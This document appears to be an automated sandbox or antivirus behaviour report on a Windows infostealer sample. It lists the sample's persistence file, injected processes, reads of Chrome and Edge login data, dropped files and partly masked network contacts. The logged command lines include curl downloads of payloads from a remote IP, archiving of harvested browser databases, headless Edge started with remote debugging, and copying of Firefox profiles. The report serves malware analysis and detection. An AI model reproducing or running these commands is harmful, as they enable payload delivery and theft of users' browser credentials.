Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\php-8.2.vbs
Malicious functions
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /PID 2352
Injects code into
the following user processes:
- parallanchor86.exe
- chime.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
Modifies file system
Creates the following files
- %APPDATA%\dimensionalinsightanalytics\iwof.zip
- %APPDATA%\dimensionalinsightanalytics\7zxa.dll
- %APPDATA%\dimensionalinsightanalytics\7za.dll
- %APPDATA%\dimensionalinsightanalytics\7za.exe
- %APPDATA%\dimensionalinsightanalytics\psinfo.exe
- %APPDATA%\dimensionalinsightanalytics\psinfo64.exe
- %APPDATA%\dimensionalinsightanalytics\zip.exe
- %APPDATA%\dimensionalinsightanalytics\9cca17
- %TEMP%\strl.zip
- %TEMP%\strl\aliyunconfig.ini
- %TEMP%\strl\aliyunwrap.dll
- %TEMP%\strl\dynacybe32.exe
- %TEMP%\strl\koosjoort.hcf
- %TEMP%\strl\libharfbuzzsharp.dll
- %TEMP%\strl\weer.aj
- %TEMP%\vdr.zip
- %ALLUSERSPROFILE%\toolservice_x86\aliyunconfig.ini
- %ALLUSERSPROFILE%\toolservice_x86\aliyunwrap.dll
- %ALLUSERSPROFILE%\toolservice_x86\dynacybe32.exe
- %ALLUSERSPROFILE%\toolservice_x86\libharfbuzzsharp.dll
- %ALLUSERSPROFILE%\toolservice_x86\weer.aj
- %ALLUSERSPROFILE%\toolservice_x86\koosjoort.hcf
- %APPDATA%\toolservice_x86\chime.exe
- %TEMP%\456e182.tmp
- %TEMP%\47df161.tmp
- %TEMP%\ltr.zip
- %ALLUSERSPROFILE%\parallanchor86.exe
- %TEMP%\4da1778.tmp
- %APPDATA%\dimensionalinsightanalytics\fcnsm
- %LOCALAPPDATA%\google\chrome\user data\local state.bak
- %TEMP%\lddb-5fdda5e8c1b021dc7e181fec915e06
- %TEMP%\lddb-5fdda5e8c1b021dc7e181fec915e06.zip
- %TEMP%\wddb-5fdda5e8c1b021dc7e181fec915e06
- %TEMP%\wddb-5fdda5e8c1b021dc7e181fec915e06.zip
- %APPDATA%\spzqy.zip
- %APPDATA%\php-8.2.11-win32-vs16-x64\deplister.exe
- %APPDATA%\php-8.2.11-win32-vs16-x64\dev\php8ts.lib
- %APPDATA%\php-8.2.11-win32-vs16-x64\extras\ssl\legacy.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\extras\ssl\openssl.cnf
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_bz2.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_com_dotnet.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_curl.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_dba.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_dl_test.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_enchant.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_exif.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_ffi.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_fileinfo.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_ftp.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_gd.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_gettext.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_gmp.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_imap.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_intl.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_ldap.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_mbstring.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_mysqli.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_oci8_19.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_odbc.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_opcache.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_openssl.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pdo_firebird.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pdo_mysql.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pdo_oci.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pdo_odbc.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pdo_pgsql.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pdo_sqlite.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_pgsql.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_shmop.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_snmp.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_soap.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_sockets.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_sodium.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_sqlite3.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_sysvshm.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_tidy.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_xsl.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_zend_test.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\ext\php_zip.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\glib-2.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\gmodule-2.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\icudt71.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\icuin71.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\icuio71.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\icuuc71.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libcrypto-3-x64.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libenchant2.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libpq.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libsasl.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libsodium.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libsqlite3.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libssh2.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\libssl-3-x64.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\lib\enchant\libenchant2_hunspell.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\license.txt
- %APPDATA%\php-8.2.11-win32-vs16-x64\news.txt
- %APPDATA%\php-8.2.11-win32-vs16-x64\nghttp2.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\phar.phar.bat
- %APPDATA%\php-8.2.11-win32-vs16-x64\pharcommand.phar
- %APPDATA%\php-8.2.11-win32-vs16-x64\php-cgi.exe
- %APPDATA%\php-8.2.11-win32-vs16-x64\php-win.exe
- %APPDATA%\php-8.2.11-win32-vs16-x64\php-win.php
- %APPDATA%\php-8.2.11-win32-vs16-x64\php.exe
- %APPDATA%\php-8.2.11-win32-vs16-x64\php.ini-development
- %APPDATA%\php-8.2.11-win32-vs16-x64\php.ini-production
- %APPDATA%\php-8.2.11-win32-vs16-x64\php8apache2_4.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\php8embed.lib
- %APPDATA%\php-8.2.11-win32-vs16-x64\php8phpdbg.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\php8ts.dll
- %APPDATA%\php-8.2.11-win32-vs16-x64\phpdbg.exe
- %APPDATA%\php-8.2.11-win32-vs16-x64\readme-redist-bins.txt
- %APPDATA%\php-8.2.11-win32-vs16-x64\readme.md
- %APPDATA%\php-8.2.11-win32-vs16-x64\snapshot.txt
- %APPDATA%\php-8.2.11-win32-vs16-x64\vcruntime140.dll
- %TEMP%\hdb-5fdda5e8c1b021dc7e181fec915e06
- %TEMP%\hdb-5fdda5e8c1b021dc7e181fec915e06.zip
- %LOCALAPPDATA%\microsoft\edge\user data\local state.bak
- %APPDATA%\php-8.2.11-win32-vs16-x64\config.json
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
Network activity
Connects to
- '94.##4.160.119':80
- '94.##4.160.119':21
- '65.#7.7.151':80
- 'localhost':9223
TCP
HTTP GET requests
- http://94.##4.160.119/v10.098/down/%56%44%52%2E%7A%69%70
- http://94.##4.160.119/v10.098/down/%4C%54%52%2E%7A%69%70
HTTP POST requests
Other
- '94.##4.160.119':21
Miscellaneous
Creates and executes the following
- '%TEMP%\strl\dynacybe32.exe'
- '%ALLUSERSPROFILE%\toolservice_x86\dynacybe32.exe'
- '%ALLUSERSPROFILE%\parallanchor86.exe'
- '%APPDATA%\dimensionalinsightanalytics\psinfo.exe' -s /accepteula applications
- '%APPDATA%\dimensionalinsightanalytics\psinfo64.exe' -s /accepteula applications
- '%APPDATA%\dimensionalinsightanalytics\psinfo64.exe' -d /accepteula processor
- '%APPDATA%\dimensionalinsightanalytics\psinfo64.exe' /accepteula video
- '%APPDATA%\toolservice_x86\chime.exe'
- '%APPDATA%\php-8.2.11-win32-vs16-x64\php.exe' %APPDATA%\php-8.2.11-Win32-vs16-x64\php-win.php
Executes the following
- '<SYSTEM32>\cmd.exe' /C tar -xf "%APPDATA%\DimensionalInsightAnalytics\iwof.zip" -C "%APPDATA%\DimensionalInsightAnalytics"
- '<SYSTEM32>\tar.exe' -xf "%APPDATA%\DimensionalInsightAnalytics\iwof.zip" -C "%APPDATA%\DimensionalInsightAnalytics"
- '<SYSTEM32>\cmd.exe' /C tar -xf "%TEMP%\STRL.zip" -C "%LOCALAPPDATA%\temp"
- '<SYSTEM32>\tar.exe' -xf "%TEMP%\STRL.zip" -C "%LOCALAPPDATA%\temp"
- '<SYSTEM32>\cmd.exe' /C REG QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v DimensionalInsightAnalytics
- '<SYSTEM32>\reg.exe' QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v DimensionalInsightAnalytics
- '<SYSTEM32>\cmd.exe' /C reg query HKEY_CURRENT_USER\Environment /v UserInitMprLogonScript
- '<SYSTEM32>\reg.exe' query HKEY_CURRENT_USER\Environment /v UserInitMprLogonScript
- '<SYSTEM32>\cmd.exe' /C SCHTASKS /QUERY /TN MyTasks\DimensionalInsightAnalytics
- '<SYSTEM32>\schtasks.exe' /QUERY /TN MyTasks\DimensionalInsightAnalytics
- '<SYSTEM32>\cmd.exe' /C curl -s -o %TEMP%\VDR.zip http://94.##4.160.119/v10.098/down/%56%44%52%2E%7A%69%70
- '<SYSTEM32>\curl.exe' -s -o %TEMP%\VDR.zip http://94.##4.160.119/v10.098/down/%56%44%52%2E%7A%69%70
- '<SYSTEM32>\cmd.exe' /C curl -s -o %TEMP%\LTR.zip http://94.##4.160.119/v10.098/down/%4C%54%52%2E%7A%69%70
- '<SYSTEM32>\curl.exe' -s -o %TEMP%\LTR.zip http://94.##4.160.119/v10.098/down/%4C%54%52%2E%7A%69%70
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\DimensionalInsightAnalytics\PsInfo.exe -s /accepteula applications > "%APPDATA%\DimensionalInsightAnalytics\fcnsm"& "%APPDATA%\DimensionalInsightAnalytics\PsInfo64.exe" -s /accepte...
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\DimensionalInsightAnalytics\PsInfo64.exe -d /accepteula processor > "%APPDATA%\DimensionalInsightAnalytics\fcnsm" & "%APPDATA%\DimensionalInsightAnalytics\PsInfo64.exe" /accepteula...
- '<SYSTEM32>\cmd.exe' /C cd "%TEMP%\" && tar -acf lddb-5FDDA5E8C1B021DC7E181FEC915E06.zip lddb-5FDDA5E8C1B021DC7E181FEC915E06
- '<SYSTEM32>\tar.exe' -acf lddb-5FDDA5E8C1B021DC7E181FEC915E06.zip lddb-5FDDA5E8C1B021DC7E181FEC915E06
- '<SYSTEM32>\cmd.exe' /C cd "%TEMP%\" && tar -acf wddb-5FDDA5E8C1B021DC7E181FEC915E06.zip wddb-5FDDA5E8C1B021DC7E181FEC915E06
- '<SYSTEM32>\tar.exe' -acf wddb-5FDDA5E8C1B021DC7E181FEC915E06.zip wddb-5FDDA5E8C1B021DC7E181FEC915E06
- '<SYSTEM32>\cmd.exe' /C tar -xf "%APPDATA%\spzqy.zip" -C "%APPDATA%"
- '<SYSTEM32>\tar.exe' -xf "%APPDATA%\spzqy.zip" -C "%APPDATA%"
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\php-8.2.11-Win32-vs16-x64\php.exe %APPDATA%\php-8.2.11-Win32-vs16-x64\php-win.php
- '<SYSTEM32>\cmd.exe' /C cd "%TEMP%\" && tar -acf hdb-5FDDA5E8C1B021DC7E181FEC915E06.zip hdb-5FDDA5E8C1B021DC7E181FEC915E06
- '<SYSTEM32>\tar.exe' -acf hdb-5FDDA5E8C1B021DC7E181FEC915E06.zip hdb-5FDDA5E8C1B021DC7E181FEC915E06
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --restore-last-session --remote-debugging-port=9223 --remote-allow-origins=* --headless --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data"
- '<SYSTEM32>\cmd.exe' /C taskkill /F /PID 2352
- '<SYSTEM32>\cmd.exe' /C robocopy "%APPDATA%\Mozilla\Firefox" "%APPDATA%\Mozilla\Firefoxcopy" /E /XF *.lock favicons.sqlite favicons.sqlite-shm favicons.sqlite-wal /XD "Background Tasks Profiles" "Pending Pings" "C...
- '<SYSTEM32>\robocopy.exe' "%APPDATA%\Mozilla\Firefox" "%APPDATA%\Mozilla\Firefoxcopy" /E /XF *.lock favicons.sqlite favicons.sqlite-shm favicons.sqlite-wal /XD "Background Tasks Profiles" "Pending Pings" "Crash Reports...
- '<SYSTEM32>\cmd.exe' /C tar -xf "%APPDATA%\DimensionalInsightAnalytics\iwof.zip" -C "%APPDATA%\DimensionalInsightAnalytics"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C tar -xf "%TEMP%\STRL.zip" -C "%LOCALAPPDATA%\temp"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C REG QUERY HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v DimensionalInsightAnalytics' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C reg query HKEY_CURRENT_USER\Environment /v UserInitMprLogonScript' (with hidden window)
- '%TEMP%\strl\dynacybe32.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C SCHTASKS /QUERY /TN MyTasks\DimensionalInsightAnalytics' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C curl -s -o %TEMP%\VDR.zip http://94.##4.160.119/v10.098/down/%56%44%52%2E%7A%69%70' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C curl -s -o %TEMP%\LTR.zip http://94.##4.160.119/v10.098/down/%4C%54%52%2E%7A%69%70' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\DimensionalInsightAnalytics\PsInfo.exe -s /accepteula applications > "%APPDATA%\DimensionalInsightAnalytics\fcnsm"& "%APPDATA%\DimensionalInsightAnalytics\PsInfo64.exe" -s /accepte...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\DimensionalInsightAnalytics\PsInfo64.exe -d /accepteula processor > "%APPDATA%\DimensionalInsightAnalytics\fcnsm" & "%APPDATA%\DimensionalInsightAnalytics\PsInfo64.exe" /accepteula...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C cd "%TEMP%\" && tar -acf lddb-5FDDA5E8C1B021DC7E181FEC915E06.zip lddb-5FDDA5E8C1B021DC7E181FEC915E06' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C cd "%TEMP%\" && tar -acf wddb-5FDDA5E8C1B021DC7E181FEC915E06.zip wddb-5FDDA5E8C1B021DC7E181FEC915E06' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C tar -xf "%APPDATA%\spzqy.zip" -C "%APPDATA%"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C %APPDATA%\php-8.2.11-Win32-vs16-x64\php.exe %APPDATA%\php-8.2.11-Win32-vs16-x64\php-win.php' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C cd "%TEMP%\" && tar -acf hdb-5FDDA5E8C1B021DC7E181FEC915E06.zip hdb-5FDDA5E8C1B021DC7E181FEC915E06' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --restore-last-session --remote-debugging-port=9223 --remote-allow-origins=* --headless --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C taskkill /F /PID 2352' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C robocopy "%APPDATA%\Mozilla\Firefox" "%APPDATA%\Mozilla\Firefoxcopy" /E /XF *.lock favicons.sqlite favicons.sqlite-shm favicons.sqlite-wal /XD "Background Tasks Profiles" "Pending Pings" "C...' (with hidden window)
